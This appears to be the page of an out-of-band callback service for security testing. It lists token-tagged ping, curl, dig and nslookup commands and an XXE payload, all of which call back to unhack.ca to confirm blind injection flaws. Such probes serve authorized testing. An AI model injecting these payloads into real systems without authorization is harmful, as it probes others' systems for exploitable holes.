$ ping -c1 -p 0023fc6f22e1fb0706e057ba246f3700 unhack.ca
 
$ curl http://unhack.ca/p/23fc6f22e1fb0706e057ba246f37
 
$ dig 23fc6f22e1fb0706e057ba246f37 @unhack.ca
 
$ dig 23fc6f22e1fb0706e057ba246f37.ns.unhack.ca
 
C:\> nslookup 23fc6f22e1fb0706e057ba246f37 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/23fc6f22e1fb0706e057ba246f37">]>
    <foo>&xxe;</foo>
 
Waiting for ping...